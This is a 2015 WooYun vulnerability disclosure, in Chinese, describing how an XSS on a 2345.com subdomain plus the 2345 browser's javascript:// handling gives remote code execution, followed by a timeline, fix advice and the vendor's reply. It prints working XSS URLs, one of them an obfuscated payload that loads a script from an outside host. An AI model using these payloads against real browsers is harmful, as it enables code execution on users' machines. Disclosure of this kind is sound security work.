漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2015-0113636
漏洞标题:2345浏览器设计缺陷可导致远程代码执行
相关厂商:2345网址导航
漏洞作者: 梧桐雨
提交时间:2015-05-12 13:40
修复时间:2015-08-10 17:12
公开时间:2015-08-10 17:12
漏洞类型:远程代码执行
危害等级:高
自评Rank:20
漏洞状态:厂商已经确认
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2015-05-12: 细节已通知厂商并且等待厂商处理中
2015-05-12: 厂商已经确认,细节仅向厂商公开
2015-05-15: 细节向第三方安全合作伙伴开放
2015-07-06: 细节向核心白帽子及相关领域专家公开
2015-07-16: 细节向普通白帽子公开
2015-07-26: 细节向实习白帽子公开
2015-08-10: 细节向公众公开
简要描述:
简单暴力无限制。20rank毫无违和感。
详细说明:
2345 浏览器更新到最新版:
目前的2345浏览器,依旧是允许javascript://伪协议来定义主页神马的,但是这些都不是本文的重点。重点是一个比较严重的设计缺陷导致命令执行。
在之前提交的案例之中,我摸索着怎么去调试一些poc。在我测试2345网络收藏夹的时候,惊讶的发现,我里面的链接居然是可以执行命令的:
也就是说,此处我们并不是传统的2345://,也不是传统的特权域,但是因为Javascript://协议的关系,导致直接调用2345://协议,即本地域,去执行代码,这样一来,危害就很大了。
但是经过详细测试之后,发现并不是所有域都能这么做,模糊测试之后,发现*.2345.com下的xss可以实现这样的功能。
因此我们需要找到.2345.com域的一个xss,这对我们来说并不是什么难事。
http://skin.chrome.2345.com/?a=%3Cimg%20src=1%20onerror=alert(1)%3E
此处xss会被chrome拦截,而2345浏览器默认配置不会拦截:
特权域有了,知道该怎么做了。
构造缺陷代码:
具体可看:
http://wutongyu.info/alert.js
虽然是a标签点击才能触发,但是我们完全可以通过js的click()函数实现自动触发。
变形之后生成链接:
http://skin.chrome.2345.com/?a=%3Cimg%20src=1%20onerror=eval('window.s=document.createElement(String.fromCharCode(115,99,114,105,112,116));window.s.src=String.fromCharCode(104,116,116,112,58,47,47,119,117,116,111,110,103,121,117,46,105,110,102,111,47,97,108,101,114,116,46,106,115);document.body.appendChild(window.s)')%3E
用最新版2345浏览器访问上述url:
简单暴力,打完收工。
漏洞证明:
修复方案:
重新考量javascript://协议在你们浏览器中的危害,任意网站调用a href="javascript://"的时候应该在a当前网站打开。
修补此处xss,不过似乎有点治标不治本。
版权声明:转载请注明来源 梧桐雨@乌云
漏洞回应
厂商回应:
危害等级:低
漏洞Rank:3
确认时间:2015-05-12 17:11
厂商回复:
感谢您对2345的关注,此问题会在后续版本中修复
最新状态:
暂无